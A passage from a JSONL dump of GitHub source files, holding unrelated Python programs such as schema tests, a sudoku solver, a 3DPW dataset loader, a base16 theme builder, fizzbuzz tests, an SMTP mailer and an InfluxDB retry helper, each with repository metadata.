self.add(body, tree, boxes, title, formula)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"visual-x/manim-projects","sub_path":"2022/Binomial Distribution/Binom-03-BFormula.py","file_name":"Binom-03-BFormula.py","file_ext":"py","file_size_in_byte":61613,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"81"} +{"seq_id":"70252839304","text":"from nthp_api.nthp_build import schema\n\n\nclass TestPersonGraduated:\n def test_from_year_1999_estimated(self):\n assert schema.PersonGraduated.from_year(\n 1999, estimated=True\n ) == schema.PersonGraduated(\n year_title=\"1999\", year_decade=199, year_id=\"98_99\", estimated=True\n )\n\n def test_from_year_2000_actual(self):\n assert schema.PersonGraduated.from_year(\n 2000, estimated=False\n ) == schema.PersonGraduated(\n year_title=\"2000\", year_decade=199, year_id=\"99_00\", estimated=False\n )\n\n def test_from_year_2001_estimated(self):\n assert schema.PersonGraduated.from_year(\n 2001, estimated=True\n ) == schema.PersonGraduated(\n year_title=\"2001\", year_decade=200, year_id=\"00_01\", estimated=True\n )\n","repo_name":"newtheatre/nthp-api","sub_path":"tests/test_nthp_build/test_schema.py","file_name":"test_schema.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"32853480586","text":"#El usuario ingresa la fecha en un formato específico.\n\nfecha= input(\"Ingrese la fecha actual en el siguiente formato : \")\nweek= [\"lunes\", \"martes\", \"miercoles\", \"jueves\", \"viernes\", \"sabado\", \"domingo\"]\ntotal= 0\namount= \"\"\ntariff= \"\"\nday= \"\"\nnum_day= \"\"\nnum_month= \"\"\naux= \"\"\n\n\n#Se compruba que el usuiario haya brindado los datos solicitados y el formato correcto de ésto.\n\nhelper= fecha.split(\", \")\nif (len(helper) != 2):\n exit(\"Por favor, ingrese la fecha en el formato indicado\")\nelse:\n day= helper[0].lower()\n aux= helper[1]\n if (aux[1].isdigit() != True):\n exit(\"Por favor, ingrese el número del día usando dos numeros. (Ejemplo: 06/09)\")\n else:\n num_day= aux[0] + aux[1]\n if (len(aux) != 4):\n if (aux[4].isdigit() != True):\n exit(\"Por favor, ingrese el número del día usando dos numeros. (Ejemplo: 06/09)\")\n else:\n num_month= aux[3] + aux[4]\n else:\n exit(\"Por favor, ingrese el número del día usando dos numeros. (Ejemplo: 06/09)\")\n\nfor i in week:\n if (day == i):\n aux= True\n break\n else:\n aux= False\n\nif (aux == True):\n print(\"Nombre del día: Aceptado\")\nelif (aux == False):\n exit(\"Día inexistente, por favor, ingrese un día válido\")\naux= \"\"\n\nif (num_day.isdigit()):\n num_day= int(num_day)\n if (num_day <= 31 and num_day > 0):\n print(\"Número del día: Aceptado\")\n else:\n exit(\"Número del día inválido\")\nelse:\n exit(\"Por favor, asegurece de que lo que ingresó sea un número\")\n\nif (num_month.isdigit()):\n num_month= int(num_month)\n if (num_month <= 12 and num_month > 0):\n print(\"Número del mes: Aceptado\")\n else:\n exit(\"Número del mes inválido\")\nelse:\n exit(\"Por favor, asegurece de que lo que ingresó sea un número\")\n\n#El usuario ingresa los datos relacionados a la actividad del día.\n\nprint(\"¿El día de hoy a qué actividad corresponde? (A= Exámenes de Nivel Inicial, Intermedio, Avanzado; B= Práctica Hablada; C= Inglés para Pasajeros)\")\nchoose= input().lower()\n\nif (choose == \"a\"):\n choose= input(\"Ingrese la cantidad de alumnos que aprobaron el exámen: \")\n if (choose.isdigit() != True):\n exit(\"Por favor, ingrese un número entero\")\n choose_2= input(\"Ingrese la cantidad de alumnos que desaprobaron el exámen: \")\n if (choose_2.isdigit() != True):\n exit(\"Por favor, ingrese un número entero\")\n choose= int(choose)\n choose_2= int(choose_2)\n average= (choose + choose_2) / 2\n print(f\"El porcentaje de alumnos aprobados es de {average}%\")\nelif (choose == \"b\"):\n choose= input(\"Ingrese el porcentaje de asistencia de la clase (sin el símbolo <%>): \")\n if (choose.isdigit() != True):\n exit(\"Por favor, ingrese un número entero\")\n choose= int(choose)\n if (choose > 50):\n print(\"Asistío la mayoría\")\n else:\n print(\"No asistió la mayoría\")\nelif (choose == \"c\"):\n aux_d= int(helper[1][1])\n aux_m= int(helper[1][4])\n if ((aux_d == 1) and ((aux_m == 1) or (aux_m == 7))):\n print(\"Comienzo de nuevo ciclo\")\n amount= input(\"Ingrese la cantidad de alumnos del nuevo ciclo: \")\n if (amount.isdigit() != True):\n exit(\"Por favor, ingrese un número entero\")\n else:\n amount= int(amount)\n tariff= input(\"Ingrese el arancel por acada alumno: \")\n if (tariff.isdigit() != True):\n exit(\"Por favor, ingrese un número real\")\n else:\n tariff= int(tariff)\n total= tariff * amount\n print(f\"El ingreso total es de {total}$\")\n else:\n print(\"error\")\nelse:\n exit(\"Por favor, ingrese una de las opciones propuestas, es decir, , ó \")","repo_name":"Joako64110/TrabajosS1-ProgramacionI-Comision4","sub_path":"Ejercicio en clase - Condicionales (R).py","file_name":"Ejercicio en clase - Condicionales (R).py","file_ext":"py","file_size_in_byte":3766,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"40186232286","text":"import sys, time\nimport multiprocessing\nDELAY = 0.1\nDISPLAY = [ '|', '/', '-', '\\\\' ]\ndef spinner_func(before='', after=''):\n write, flush = sys.stdout.write, sys.stdout.flush\n pos = -1\n while True:\n pos = (pos + 1) % len(DISPLAY)\n msg = before + DISPLAY[pos] + after\n write(msg); flush()\n write('\\x08' * len(msg))\n time.sleep(DELAY)\ndef long_computation():\n # emulate a long computation\n time.sleep(2)\n","repo_name":"ottacom/infinitylxd","sub_path":"client-commands/spinner.py","file_name":"spinner.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"73673404746","text":"import cv2\nimport numpy as np\nimport os\nimport torch.utils.data as dutils\nfrom torchvision.transforms import Normalize\nimport torch\nfrom loguru import logger\n\nfrom human_models.smplLayer import SMPL\nfrom commons.keypoints import dset_to_body_model, get_part_idxs\nfrom commons.keyps_utils import mapping_keypoints\nfrom commons.im_utils import rgb_preprocessing\nfrom commons.bbox_utils import keyps_to_bbox, bbox_to_center_scale\nfrom commons.keyps_utils import j2d_processing\nfrom commons.human_models_utils import pose_processing, convert_aa_to_rot_mat_SMPL, aa_SMPLX\n\nclass ThreedpwEval(dutils.Dataset):\n def __init__(self, cfg, phase='test'):\n super(ThreedpwEval, self).__init__()\n dset_conf = cfg['3dpw-eval']\n if phase=='test':\n data_path = os.path.join(dset_conf['npz_dir'], '3dpw_test.npz')\n elif phase=='validation':\n data_path = os.path.join(dset_conf['npz_dir'], '3dpw_valid.npz')\n data = np.load(data_path, allow_pickle=True)\n data = {key: data[key] for key in data.keys()} \n self.root_dir = dset_conf['imgs_dir']\n self.imgs_name = np.asarray(data['imgname'], dtype=np.string_)\n # self.smplx = self.data['smplx']\n self.poses = data['pose']\n self.shapes = data['shape']\n self.scales = data['scale']\n self.centers = data['center']\n self.genders = data['gender']\n \n self.len_data = len(self.imgs_name)\n mean = [0.485, 0.456, 0.406]\n std =[0.229, 0.224, 0.225]\n \n self.norm = Normalize(mean=mean, std=std)\n self.smpl_neutral = SMPL('data/human_models/smpl/', gender='neutral', create_transl=False)\n self.smpl_male = SMPL('data/human_models/smpl/', gender='male', create_transl=False)\n self.smpl_female = SMPL('data/human_models/smpl/', gender='female', create_transl=False)\n self.SMPL_J_regressor = torch.from_numpy(np.load('data/J_regressor_h36m.npy')).float()\n if phase=='test':\n logger.debug('Load 3DPW test dataset ')\n elif phase=='validation':\n logger.debug('Load 3DPW validation dataset ')\n def __len__(self):\n return self.len_data\n def get_data(self, img_fn, center, scale):\n flip = 0 \n pn = np.ones(3) \n rot = 0\n sc = 1 \n try:\n img = cv2.imread(img_fn)[:,:,::-1].copy()\n except TypeError:\n print(img_fn)\n orig_shape = np.array(img.shape)[:2]\n\n img = rgb_preprocessing(img, center, scale * sc, rot, flip, pn)\n return img\n def __getitem__(self, index):\n item = {}\n\n '''------------Load from list-----------------'''\n img_fn = self.imgs_name[index].decode('utf-8')\n pose = self.poses[index]\n shape = self.shapes[index]\n center = self.centers[index]\n scale = self.scales[index]\n\n '''--------------Process data------------------'''\n img_fn = os.path.join(self.root_dir, img_fn)\n shape = np.array(shape).astype(np.float32)\n pose = np.array(pose).astype(np.float32)\n raw_pose = pose\n pose = pose.reshape(-1, 3)\n gp = pose[0]\n \n img = self.get_data(img_fn, center, scale)\n\n '''------------Make it tensor--------------'''\n img = torch.from_numpy(img).float()\n img = self.norm(img)\n pose_param = convert_aa_to_rot_mat_SMPL(gp, pose)\n shape = torch.from_numpy(shape).float()\n pose = torch.from_numpy(pose).float()\n raw_pose = torch.from_numpy(raw_pose).float()\n shape = shape.unsqueeze(dim=0)\n body_pose = pose_param['body_pose'].unsqueeze(dim=0)\n global_orient = pose_param['global_pose'].unsqueeze(dim=0)\n #--Get SMPL from GT\n if self.genders[index][0] =='m':\n human_mesh = self.smpl_male(betas=shape, body_pose=body_pose, \n global_orient=global_orient, pose2rot=False)\n elif self.genders[index][0] =='f':\n human_mesh = self.smpl_female(betas=shape, body_pose=body_pose, \n global_orient=global_orient, pose2rot=False)\n else:\n human_mesh = self.smpl_neutral(betas=shape, body_pose=body_pose, \n global_orient=global_orient, pose2rot=False)\n vertices = human_mesh.vertices\n reg_smpl = self.SMPL_J_regressor[None, :].expand(vertices.shape[0], -1, -1)\n lsp_14_joints = torch.matmul(reg_smpl, vertices)\n item['img'] = img \n item['j3d'] = lsp_14_joints[0]\n # item['shape'] = shape\n # item['global_orient'] = pose_param['global_pose']\n # item['body_pose'] = pose_param['body_pose']\n # item['raw_pose'] = raw_pose\n item['gender'] = self.genders[index][0]\n return item ","repo_name":"joshuajano/SSHHMA","sub_path":"datasets/threedpw_eval.py","file_name":"threedpw_eval.py","file_ext":"py","file_size_in_byte":4831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"42901615216","text":"#!/usr/bin/env python\n\"\"\"\nbuilds the .json source files for all base16 themes\n\n$0 clone: clones them into the current directory, before building\n$0 : only builds\n\"\"\"\n\n\nimport requests\nimport yaml, os, sys, json\nimport threading\n\nall = 'https://raw.githubusercontent.com/chriskempson/base16-schemes-source/main/list.yaml'\n\n\ndef get_yaml(url):\n s = requests.get(url).text\n return yaml.unsafe_load(s)\n\n\ndef clone(r):\n os.system(f'git clone \"{r}\"')\n\n\ndef collect(d):\n for fn in os.listdir(d):\n if fn.rsplit('.', 1)[-1] in {'yaml', 'yml'}:\n sr = open(f'{d}/{fn}').read()\n s = yaml.unsafe_load(sr)\n fnr = fn.rsplit('.', 1)[0] + '.json'\n if 'base00' in s and 'base0F' in s:\n with open(fnr, 'w') as fd:\n fd.write(json.dumps(s, indent=2, sort_keys=True))\n\n\ndef main(clone=True):\n if clone:\n clone_all()\n\n for d in os.listdir('.'):\n if os.path.exists(f'./{d}/.git'):\n collect(d)\n\n\ndef clone_all():\n y = get_yaml(all)\n t = [threading.Thread(target=clone, args=(r,)) for r in y.values()]\n [i.start() for i in t]\n [i.join() for i in t]\n\n\nif __name__ == '__main__':\n main(clone='clone' in sys.argv)\n","repo_name":"axiros/terminal_markdown_viewer","sub_path":"mdv/b16/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":1737,"dataset":"github-code","pt":"81"} +{"seq_id":"26297334495","text":"import base64\nimport os\nimport random\n\nfrom flask import request, g, has_request_context\n\nfrom .delayed_deferred import defer\nimport event_bus\n\n\nEVENT_BUS_PARTITIONS = ''\nAPI_SERVER = ''\n\n\ndef queue_deferred(*args, **kwargs):\n if has_request_context():\n queue_deferred_after_request(*args, **kwargs)\n else:\n queue_deferred_eventbus(*args, **kwargs)\n\n\ndef queue_deferred_after_request(*args, **kwargs):\n if os.getenv('ENVIRONMENT', 'development') == 'test':\n return None\n\n task = _build_event_bus_task(*args, **kwargs)\n delayed_tasks = getattr(g, 'delayed_tasks', [])\n delayed_tasks.append(task)\n g.delayed_tasks = delayed_tasks\n\n\ndef queue_deferred_eventbus(*args, **kwargs):\n if os.getenv('ENVIRONMENT', 'development') == 'test':\n return None\n\n task = _build_event_bus_task(*args, **kwargs)\n event_bus.send_task(task)\n\n\ndef _build_event_bus_task(*args, **kwargs):\n reserved_args = ['countdown', 'eta', 'name', 'target', 'queue', 'retry_options', 'key', 'max_retry', 'timeout']\n taskargs = dict((x, kwargs.pop(('_%s' % x), None)) for x in reserved_args)\n queue = taskargs.get('queue', None)\n func = args[0]\n url = '/_ah/eb_queue/deferred_flask'\n if hasattr(func, '__name__'):\n url = url + '/{}'.format(func.__name__)\n taskargs['_url'] = url\n payload = defer(*args, **kwargs)\n\n key = taskargs.get('key', None)\n if key is None:\n key = random.randint(0, EVENT_BUS_PARTITIONS)\n\n task = {\n 'payload': base64.encodestring(payload).decode(),\n 'topic': queue,\n 'key': str(key),\n 'url': API_SERVER + url,\n }\n max_retry = taskargs.get('max_retry', None)\n if max_retry is not None:\n task['max_retry'] = max_retry\n timeout = taskargs.get('timeout', None)\n if timeout:\n task['timeout'] = timeout\n\n countdown = taskargs.get('countdown', None)\n if countdown:\n task['delay'] = str(countdown * 1000)\n return task","repo_name":"gotitinc/code-samples","sub_path":"misc/eventbus/queue_deferred.py","file_name":"queue_deferred.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"69821725706","text":"from pathlib import Path\nfrom pytest import fixture, raises\n\nfrom fizzbuzz import fizzbuzz\n\ndivisible_by_3 = set(range(0, 100, 3))\ndivisible_by_5 = set(range(0, 100, 5))\n\n\ndef test_divisible_by_3_only():\n for number in divisible_by_3 - divisible_by_5:\n suffix = fizzbuzz.classify(number)\n assert suffix == \"fizz\"\n\n\ndef test_divisible_by_5_only():\n for number in divisible_by_5 - divisible_by_3:\n suffix = fizzbuzz.classify(number)\n assert suffix == \"buzz\"\n\n\ndef test_divisible_by_3_and_5():\n for number in divisible_by_3.intersection(divisible_by_5):\n suffix = fizzbuzz.classify(number)\n assert suffix == \"fizzbuzz\"\n\n\ndef test_divisible_by_neither_3_nor_5():\n divisible_by_neither = set(range(0, 100)) - divisible_by_3 - divisible_by_5\n for number in divisible_by_neither:\n suffix = fizzbuzz.classify(number)\n assert not suffix\n\n\ndef test_append():\n assert fizzbuzz.append(\"0\") == \"0 fizzbuzz\"\n assert fizzbuzz.append(\"1\") == \"1\"\n assert fizzbuzz.append(\"2\") == \"2\"\n assert fizzbuzz.append(\"3\") == \"3 fizz\"\n assert fizzbuzz.append(\"4\") == \"4\"\n assert fizzbuzz.append(\"5\") == \"5 buzz\"\n assert fizzbuzz.append(\"15\") == \"15 fizzbuzz\"\n\n\n@fixture\ndef fixture_files(request):\n test_dir = Path(request.module.__file__).parent\n files_dir = Path(test_dir, 'fixture_files')\n text_files = files_dir.glob(\"*.txt\")\n return {text_file.name: text_file for text_file in text_files}\n\n\ndef assert_files_equal(a_file, b_file):\n with open(a_file) as a:\n a_text = a.read()\n\n with open(b_file) as b:\n b_text = b.read()\n\n assert a_text == b_text\n\n\ndef test_classify_lines(fixture_files, tmp_path):\n out_file = Path(tmp_path, 'classify_out.txt')\n fizzbuzz.classify_lines(fixture_files['classify_in.txt'], out_file)\n assert_files_equal(out_file, fixture_files['classify_expected.txt'])\n\n\ndef test_filter_fizz_lines(fixture_files, tmp_path):\n out_file = Path(tmp_path, 'filter_fizz_out.txt')\n fizzbuzz.filter_lines(fixture_files['classify_expected.txt'], out_file, 'fizz')\n assert_files_equal(out_file, fixture_files['filter_fizz_expected.txt'])\n\n\ndef test_filter_buzz_lines(fixture_files, tmp_path):\n out_file = Path(tmp_path, 'filter_buzz_out.txt')\n fizzbuzz.filter_lines(fixture_files['filter_fizz_expected.txt'], out_file, 'buzz')\n assert_files_equal(out_file, fixture_files['filter_buzz_expected.txt'])\n\n\ndef test_main_help():\n with raises(SystemExit) as exception_info:\n fizzbuzz.main([\"--help\"])\n assert 0 in exception_info.value.args\n\n\ndef test_main_invalid_input():\n with raises(SystemExit) as exception_info:\n fizzbuzz.main([\"invalid\"])\n assert 2 in exception_info.value.args\n\n\ndef test_main_classify_lines(fixture_files, tmp_path):\n out_file = Path(tmp_path, 'classify_out.txt')\n exit_code = fizzbuzz.main(\n [fixture_files['classify_in.txt'].as_posix(), out_file.as_posix(), \"classify\"])\n assert not exit_code\n assert_files_equal(out_file, fixture_files['classify_expected.txt'])\n\n\ndef test_main_filter_fizz_lines(fixture_files, tmp_path):\n out_file = Path(tmp_path, 'filter_fizz_out.txt')\n exit_code = fizzbuzz.main([fixture_files['classify_expected.txt'].as_posix(\n ), out_file.as_posix(), \"filter\", \"--substring\", \"fizz\"])\n assert not exit_code\n assert_files_equal(out_file, fixture_files['filter_fizz_expected.txt'])\n\n\ndef test_main_filter_buzz_lines(fixture_files, tmp_path):\n out_file = Path(tmp_path, 'filter_buzz_out.txt')\n exit_code = fizzbuzz.main([fixture_files['filter_fizz_expected.txt'].as_posix(\n ), out_file.as_posix(), \"filter\", \"--substring\", \"buzz\"])\n assert not exit_code\n assert_files_equal(out_file, fixture_files['filter_buzz_expected.txt'])\n","repo_name":"benjamin-heasly/proceed","sub_path":"tests/fizzbuzz/test_fizzbuzz.py","file_name":"test_fizzbuzz.py","file_ext":"py","file_size_in_byte":3779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"72929515786","text":"from sys import stdin\nfrom re import sub\n\n\ndef main():\n def input():\n return stdin.readline().rstrip()\n\n t = int(input())\n for _ in range(t):\n n = int(input())\n tels = [sub('[^0-9]', '', input()) for _ in range(n)]\n tels.sort()\n res = True\n for i in range(1, n):\n if tels[i - 1] == tels[i][:len(tels[i - 1])]:\n res = False\n break\n print(['NO', 'YES'][res])\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"boorooksus/Algorithm-Study","sub_path":"백준/CH22-trie/G4-5052-TEL_List2.py","file_name":"G4-5052-TEL_List2.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"40174285918","text":"from collections import Counter\n\nEMPTY_GRID = [[0 for _ in range(9)] for _ in range(9)]\n\n\nclass Grid:\n \"\"\"Grid to hold values of a sudoku puzzle.\"\"\"\n\n def __init__(self, values: list[list[int]] = EMPTY_GRID):\n self._values = values\n\n def __getitem__(self, key: tuple[int, int]) -> int:\n return self._values[key[1]][key[0]]\n\n def __setitem__(self, key: tuple[int, int], value: int) -> None:\n self._values[key[1]][key[0]] = value\n\n def __str__(self) -> str:\n grid_string = \"\\n\"\n for j in range(9):\n for i in range(9):\n grid_string += str(self[i, j]) + \" \"\n if i == 2 or i == 5:\n grid_string += \"| \"\n elif i == 8:\n grid_string += \"\\n\"\n if j == 2 or j == 5:\n grid_string += \"-\" * 6 + \"+\" + \"-\" * 7 + \"+\" + \"-\" * 6 + \"\\n\"\n return grid_string\n\n\nclass Sudoku:\n \"\"\"Sudoku solver class.\"\"\"\n\n def __init__(self, grid: Grid = Grid()):\n self.grid = grid\n self.solve_attempted = False\n self.solve_successful = False\n\n def solve(self) -> None:\n self.solve_attempted = True\n if not self.is_valid_grid():\n self.solve_successful = False\n return\n self._solve()\n self.solve_successful = all(self.grid[i, j] for i in range(9) for j in range(9))\n\n def _solve(self) -> bool:\n for row, column in (\n (i, j) for i in range(9) for j in range(9) if self.grid[(i, j)] == 0\n ):\n for value in range(1, 10):\n if self._is_valid_input((row, column), value):\n self.grid[row, column] = value\n if self._solve():\n return True\n self.grid[row, column] = 0\n return False # No values work\n return True # Solution found\n\n def _is_valid_input(self, position: tuple[int, int], value: int) -> bool:\n row, column = position\n if value in (self.grid[row, j] for j in range(9)):\n return False\n if value in (self.grid[i, column] for i in range(9)):\n return False\n box_row = (row // 3) * 3\n box_column = (column // 3) * 3\n if value in (\n self.grid[i, j]\n for i in range(box_row, box_row + 3)\n for j in range(box_column, box_column + 3)\n ):\n return False\n return True\n\n def is_valid_grid(self) -> bool:\n for row in range(9):\n counter = Counter(self.grid[row, j] for j in range(9) if self.grid[row, j])\n if counter:\n if max(counter.values()) > 1:\n return False\n for col in range(9):\n counter = Counter(self.grid[i, col] for i in range(9) if self.grid[i, col])\n if counter:\n if max(counter.values()) > 1:\n return False\n for row, col in ((3 * i, 3 * j) for i in range(3) for j in range(3)):\n counter = Counter(\n self.grid[row + i, col + j]\n for i in range(3)\n for j in range(3)\n if self.grid[row + i, col + j]\n )\n if counter:\n if max(counter.values()) > 1:\n return False\n return True\n\n def __str__(self) -> str:\n return str(self.grid)\n\n\nif __name__ == \"__main__\":\n test_grid = Grid(\n [\n [0, 0, 3, 0, 2, 0, 6, 0, 0],\n [9, 0, 0, 3, 0, 5, 0, 0, 1],\n [0, 0, 1, 8, 0, 6, 4, 0, 0],\n [0, 0, 8, 1, 0, 2, 9, 0, 0],\n [7, 0, 0, 0, 0, 0, 0, 0, 8],\n [0, 0, 6, 7, 0, 8, 2, 0, 0],\n [0, 0, 2, 6, 0, 9, 5, 0, 0],\n [8, 0, 0, 2, 0, 3, 0, 0, 9],\n [0, 0, 5, 0, 1, 0, 3, 0, 0],\n ]\n )\n sudoku = Sudoku(test_grid)\n print(sudoku)\n sudoku.solve()\n print(sudoku)\n print(sudoku.solve_attempted)\n print(sudoku.solve_successful)\n","repo_name":"Luke943/SudokuSolver","sub_path":"src/sudoku_solver.py","file_name":"sudoku_solver.py","file_ext":"py","file_size_in_byte":3997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"823602165","text":"# import torch, torchvision\n# from torchvision import datasets, transforms\nfrom torch import nn#, optim\n\n\n# Net class with a 2D CNN \nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n\n self.conv_layers = nn.Sequential(\n nn.Conv2d(1, 10, kernel_size=5),\n nn.MaxPool2d(2),\n nn.ReLU(),\n nn.Conv2d(10, 20, kernel_size=5),\n nn.Dropout(),\n nn.MaxPool2d(2),\n nn.ReLU(),\n )\n self.fc_layers = nn.Sequential(\n nn.Linear(320, 50),\n nn.ReLU(),\n nn.Dropout(),\n nn.Linear(50, 10),\n nn.Softmax(dim=1)\n )\n\n def forward(self, x):\n x = self.conv_layers(x)\n x = x.view(-1, 320)\n x = self.fc_layers(x)\n return x\n","repo_name":"HelmholtzAI-Consultants-Munich/XAI-Tutorials","sub_path":"data_and_models/model_net.py","file_name":"model_net.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"81"} +{"seq_id":"8594361191","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Mar 6 15:27:04 2016\n\n@author: alex\n\"\"\"\n\nfrom AlexRobotics.planning import RandomTree as RPRT\nfrom AlexRobotics.dynamic import Manipulator as M\nfrom AlexRobotics.control import ComputedTorque as CTC\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\"\"\" Define system \"\"\"\n\nR = M.TwoLinkManipulator()\n\nx_start = np.array([3,0,0,0])\nx_goal = np.array([0,0,0,0])\n\nRRT = RPRT.RRT( R , x_start )\n\nT = 12 # torque\n\nRRT.U = np.array([[T,0],[0,0],[-T,0],[0,T],[0,-T],[T,T],[-T,-T],[-T,T],[T,-T]])\n\nRRT.dt = 0.1\nRRT.goal_radius = 0.8\nRRT.max_nodes = 12000\nRRT.max_solution_time = 8\n\n#RRT.compute_steps(1000,True)\nRRT.find_path_to_goal( x_goal )\n\n# Assign controller\nCTC_controller = CTC.ComputedTorqueController( R )\nCTC_controller.load_trajectory( RRT.solution )\nR.ctl = CTC_controller.ctl\n\nCTC_controller.w0 = 1.0\nCTC_controller.zeta = 0.7\nCTC_controller.traj_ref_pts = 'closest'\n#CTC_controller.traj_ref_pts = 'interpol'\n\n#R.ctl = RRT.trajectory_controller\n#RRT.traj_ctl_kp = 25\n#RRT.traj_ctl_kd = 10\n\n\"\"\" Simulation and plotting \"\"\"\n\n# Plot\ntf = RRT.time_to_goal + 5\nn = int( np.round( tf / 0.05 ) ) + 1\nR.plotAnimation( x_start , tf , n , solver = 'euler' )\nR.Sim.plot_CL('x') \nR.Sim.plot_CL('u')\n#R.phase_plane_trajectory([0,0],x_start,tf,True,True,True,True)\nRRT.plot_2D_Tree()\n\n# Hold figures alive\n#plt.show()","repo_name":"ali493/pyro","sub_path":"old/examples/twolinkmanipulator_with_RRT_and_CTC.py","file_name":"twolinkmanipulator_with_RRT_and_CTC.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"15817032709","text":"from flask import Flask, request\nfrom flask import jsonify\nfrom flask.logging import default_handler\n\nimport logging\nimport os\n\n\ndef setup_logging(flask_app):\n \"\"\"Perform the setup of logging for this application.\"\"\"\n if not flask_app.debug:\n handler = logging.StreamHandler()\n handler.setFormatter(logging.Formatter(\n '[%(asctime)s] %(levelname)s in %(module)s: %(message)s'))\n log_level = os.environ.get('FLASK_LOGGING_LEVEL', logging.getLevelName(logging.INFO))\n handler.setLevel(log_level)\n\n flask_app.logger.removeHandler(default_handler)\n flask_app.logger.addHandler(handler)\n flask_app.logger.setLevel(logging.DEBUG)\n\n\ndef create_app(test_config=None):\n app = Flask(__name__)\n\n setup_logging(app)\n\n @app.route(\"/submit\", methods=['POST'])\n def submit():\n body = request.get_json()\n app.logger.info(str(body))\n return jsonify({'result': 'success'})\n\n return app\n","repo_name":"msehnout/http-collector","sub_path":"http_collector/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"2216798897","text":"import smtplib\nfrom email.mime.text import MIMEText\nfrom email.mime.image import MIMEImage\nfrom email.mime.multipart import MIMEMultipart\nimport config\n\n# 发送email\ndef send_mail():\n receive = config.receive\n image = config.project_dir + 'luckball.png'\n \n body = \"\"\"\n

抱抱龙和笑笑龙给您送幸运号码啦！

\n \n \"\"\"\n msg = MIMEMultipart() \n msg['Subject'] = 'LuckBall'\n msg.attach(MIMEText(body, 'html', 'utf-8'))\n # 二进制模式读取图片\n with open(image, 'rb') as f:\n msgImage = MIMEImage(f.read())\n # 定义图片ID\n msgImage.add_header('Content-ID', '')\n msg.attach(msgImage)\n\n # 连接到SMTP服务器\n smtpObj = smtplib.SMTP(config.smtp,25)\n smtpObj.ehlo()\n smtpObj.starttls()\n\n # 登录发送邮箱\n smtpObj.login(config.sendusername, config.sendpassword)\n\n # 发送\n smtpObj.sendmail(config.sendusername, receive, msg.as_string())\n\n # 从SMTP服务器断开\n smtpObj.quit()","repo_name":"asillyrabbit/LuckBall","sub_path":"send_mail.py","file_name":"send_mail.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"18563156865","text":"from time import time\nimport datetime\nimport pandas as pd\nfrom influxdb import DataFrameClient\nimport math\nimport json\n\nrecords = [\n {\n 'tag_name': 'VIB_CRBTS.WF.X_TDW',\n 'timestamp': [(1619101366968 + i) * 1000000 for i in range(1)],\n 'values': [float(i) for i in range(1)]\n },\n {\n 'tag_name': 'VIB_CRBTS.WF.X_TDW',\n 'timestamp': [(1619101366968 + i) * 1000000 for i in range(1)],\n 'values': [float(i) for i in range(1)]\n }\n\n]\n\n\n\n\ndef retry(max_attempts: int, interval_delay_ms: int = 1000,\n raise_in_limit: bool = False, verbose: bool = False):\n \"\"\"Retry a function call if it throw an error.\n\n If you decorate a function with @retry(n), every time you invoke it, if it\n raise an error in some part of its body, the decorator will try execute it\n again, and so on until the max_attempts was reached.\n\n After error the main thread will sleep for interval_delay_ms (ms) before\n the function was called again.\n\n If all attempts result in errors and raise_in_limit is True, then the last\n caught error will be threw as well. If raise_in_limit is False, the thread\n will continue to the next line after the function call.\n\n On every handled error, if verbose is True, e message log will be printed\n for the standard output.\n\n Despite all these parameters are set when you define the function, at\n runtime, when the function is invoked, all these parameters can be overrode\n using the next keyword arguments:\n - override_max_attempts\n - override_delay_ms\n - override_raise\n - override_verbose\n \"\"\"\n\n def decorator(function: callable):\n @functools.wraps(function)\n def wrapper(*args, **kwargs):\n iterations = max_attempts\n delay = interval_delay_ms\n raise_ = raise_in_limit\n verbose_ = verbose\n if \"override_max_attempts\" in kwargs:\n iterations = kwargs[\"override_max_attempts\"]\n del kwargs[\"override_max_attempts\"]\n if \"override_delay_ms\" in kwargs:\n delay = kwargs[\"override_delay_ms\"]\n del kwargs[\"override_delay_ms\"]\n if \"override_raise\" in kwargs:\n raise_ = kwargs[\"override_raise\"]\n del kwargs[\"override_raise\"]\n if \"override_verbose\" in kwargs:\n verbose_ = kwargs[\"override_verbose\"]\n del kwargs[\"override_verbose\"]\n for i in range(iterations):\n try:\n return function(*args, **kwargs)\n except Exception as err:\n if verbose_ is True:\n log(\n title=\"{}\".format(function.__name__),\n type_=LogType.ERROR,\n message=\"Attempt: {}\\n{}\".format(i + 1, err)\n )\n if raise_ is True and i + 1 == iterations:\n raise\n time.sleep(delay / 1000)\n\n return wrapper\n\n return decorator\n\n\ndef get_df_client(**kwargs):\n client = DataFrameClient(\n host=kwargs[\"host\"] if \"host\" in kwargs else \"localhost\",\n port=kwargs[\"port\"] if \"port\" in kwargs else 8086,\n 